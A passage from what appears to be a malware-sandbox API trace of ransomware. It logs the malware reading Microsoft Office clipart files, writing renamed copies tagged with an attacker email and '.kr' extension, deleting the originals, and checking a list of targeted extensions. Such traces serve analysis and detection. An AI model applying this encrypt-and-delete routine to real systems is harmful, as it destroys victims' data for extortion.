hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xf94, lpOverlapped=0x0) returned 1 [0194.592] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0194.593] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.593] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.593] SetEndOfFile (hFile=0x3f8) returned 1 [0194.593] CloseHandle (hObject=0x3f8) returned 1 [0194.593] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.594] SetEndOfFile (hFile=0x548) returned 1 [0194.597] CloseHandle (hObject=0x548) returned 1 [0194.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0194.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0194.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0194.598] lstrlenW (lpString=".doc") returned 4 [0194.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.598] lstrlenW (lpString=".docx") returned 5 [0194.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.598] lstrlenW (lpString=".pdf") returned 4 [0194.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.598] lstrlenW (lpString=".xls") returned 4 [0194.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.598] lstrlenW (lpString=".xlsx") returned 5 [0194.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.598] lstrlenW (lpString=".ppt") returned 4 [0194.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0194.598] lstrlenW (lpString=".zip") returned 4 [0194.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.599] lstrlenW (lpString=".rar") returned 4 [0194.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.599] lstrlenW (lpString=".bz2") returned 4 [0194.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.599] lstrlenW (lpString=".7z") returned 3 [0194.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0194.599] lstrlenW (lpString=".dbf") returned 4 [0194.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0194.599] lstrlenW (lpString=".1cd") returned 4 [0194.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0194.599] lstrlenW (lpString=".jpg") returned 4 [0194.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0194.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0194.599] lstrlenW (lpString=".doc") returned 4 [0194.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.599] lstrlenW (lpString=".docx") returned 5 [0194.599] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.599] lstrlenW (lpString=".pdf") returned 4 [0194.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.599] lstrlenW (lpString=".xls") returned 4 [0194.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.599] lstrlenW (lpString=".xlsx") returned 5 [0194.599] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.599] lstrlenW (lpString=".ppt") returned 4 [0194.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0194.600] lstrlenW (lpString=".zip") returned 4 [0194.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.600] lstrlenW (lpString=".rar") returned 4 [0194.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.600] lstrlenW (lpString=".bz2") returned 4 [0194.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.600] lstrlenW (lpString=".7z") returned 3 [0194.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0194.600] lstrlenW (lpString=".dbf") returned 4 [0194.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0194.600] lstrlenW (lpString=".1cd") returned 4 [0194.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0194.600] lstrlenW (lpString=".jpg") returned 4 [0194.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.600] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.600] lstrlenW (lpString="FD02141_.WMF") returned 12 [0194.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.601] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2636) returned 1 [0194.601] CloseHandle (hObject=0x548) returned 1 [0194.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220 [0194.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.602] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.602] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0194.602] GetLastError () returned 0x0 [0194.602] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xa4c, lpOverlapped=0x0) returned 1 [0194.806] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xa50, lpOverlapped=0x0) returned 1 [0194.808] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.808] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.808] SetEndOfFile (hFile=0x3f8) returned 1 [0194.808] CloseHandle (hObject=0x3f8) returned 1 [0194.808] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.808] SetEndOfFile (hFile=0x548) returned 1 [0194.811] CloseHandle (hObject=0x548) returned 1 [0194.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0194.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0194.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0194.814] lstrlenW (lpString=".doc") returned 4 [0194.814] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.814] lstrlenW (lpString=".docx") returned 5 [0194.814] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.814] lstrlenW (lpString=".pdf") returned 4 [0194.814] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.814] lstrlenW (lpString=".xls") returned 4 [0194.814] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.814] lstrlenW (lpString=".xlsx") returned 5 [0194.814] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.814] lstrlenW (lpString=".ppt") returned 4 [0194.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0194.814] lstrlenW (lpString=".zip") returned 4 [0194.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.814] lstrlenW (lpString=".rar") returned 4 [0194.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.815] lstrlenW (lpString=".bz2") returned 4 [0194.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.815] lstrlenW (lpString=".7z") returned 3 [0194.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0194.815] lstrlenW (lpString=".dbf") returned 4 [0194.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0194.815] lstrlenW (lpString=".1cd") returned 4 [0194.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0194.815] lstrlenW (lpString=".jpg") returned 4 [0194.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0194.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0194.815] lstrlenW (lpString=".doc") returned 4 [0194.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.815] lstrlenW (lpString=".docx") returned 5 [0194.815] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.815] lstrlenW (lpString=".pdf") returned 4 [0194.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.815] lstrlenW (lpString=".xls") returned 4 [0194.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.815] lstrlenW (lpString=".xlsx") returned 5 [0194.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.815] lstrlenW (lpString=".ppt") returned 4 [0194.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0194.816] lstrlenW (lpString=".zip") returned 4 [0194.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.816] lstrlenW (lpString=".rar") returned 4 [0194.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.816] lstrlenW (lpString=".bz2") returned 4 [0194.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.816] lstrlenW (lpString=".7z") returned 3 [0194.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0194.816] lstrlenW (lpString=".dbf") returned 4 [0194.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0194.816] lstrlenW (lpString=".1cd") returned 4 [0194.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0194.816] lstrlenW (lpString=".jpg") returned 4 [0194.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.816] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.816] lstrlenW (lpString="HH00231_.WMF") returned 12 [0194.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.818] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2232) returned 1 [0194.818] CloseHandle (hObject=0x548) returned 1 [0194.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220 [0194.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.818] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.818] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0194.819] GetLastError () returned 0x0 [0194.819] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x8b8, lpOverlapped=0x0) returned 1 [0194.821] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0194.822] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.823] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.823] SetEndOfFile (hFile=0x3f8) returned 1 [0194.823] CloseHandle (hObject=0x3f8) returned 1 [0194.823] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.823] SetEndOfFile (hFile=0x548) returned 1 [0194.825] CloseHandle (hObject=0x548) returned 1 [0194.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0194.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0194.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0194.827] lstrlenW (lpString=".doc") returned 4 [0194.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.827] lstrlenW (lpString=".docx") returned 5 [0194.827] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.827] lstrlenW (lpString=".pdf") returned 4 [0194.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.827] lstrlenW (lpString=".xls") returned 4 [0194.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.827] lstrlenW (lpString=".xlsx") returned 5 [0194.827] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.827] lstrlenW (lpString=".ppt") returned 4 [0194.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0194.827] lstrlenW (lpString=".zip") returned 4 [0194.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.827] lstrlenW (lpString=".rar") returned 4 [0194.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.827] lstrlenW (lpString=".bz2") returned 4 [0194.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.827] lstrlenW (lpString=".7z") returned 3 [0194.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0194.827] lstrlenW (lpString=".dbf") returned 4 [0194.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0194.827] lstrlenW (lpString=".1cd") returned 4 [0194.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0194.827] lstrlenW (lpString=".jpg") returned 4 [0194.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0194.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0194.828] lstrlenW (lpString=".doc") returned 4 [0194.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.828] lstrlenW (lpString=".docx") returned 5 [0194.828] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.828] lstrlenW (lpString=".pdf") returned 4 [0194.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.828] lstrlenW (lpString=".xls") returned 4 [0194.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.828] lstrlenW (lpString=".xlsx") returned 5 [0194.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.828] lstrlenW (lpString=".ppt") returned 4 [0194.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0194.828] lstrlenW (lpString=".zip") returned 4 [0194.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.828] lstrlenW (lpString=".rar") returned 4 [0194.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.828] lstrlenW (lpString=".bz2") returned 4 [0194.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.828] lstrlenW (lpString=".7z") returned 3 [0194.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0194.828] lstrlenW (lpString=".dbf") returned 4 [0194.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0194.828] lstrlenW (lpString=".1cd") returned 4 [0194.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0194.828] lstrlenW (lpString=".jpg") returned 4 [0194.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.829] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.829] lstrlenW (lpString="HH00235_.WMF") returned 12 [0194.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.830] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1026) returned 1 [0194.830] CloseHandle (hObject=0x548) returned 1 [0194.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220 [0194.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.830] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.830] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0194.832] GetLastError () returned 0x0 [0194.832] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x402, lpOverlapped=0x0) returned 1 [0194.833] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x410, 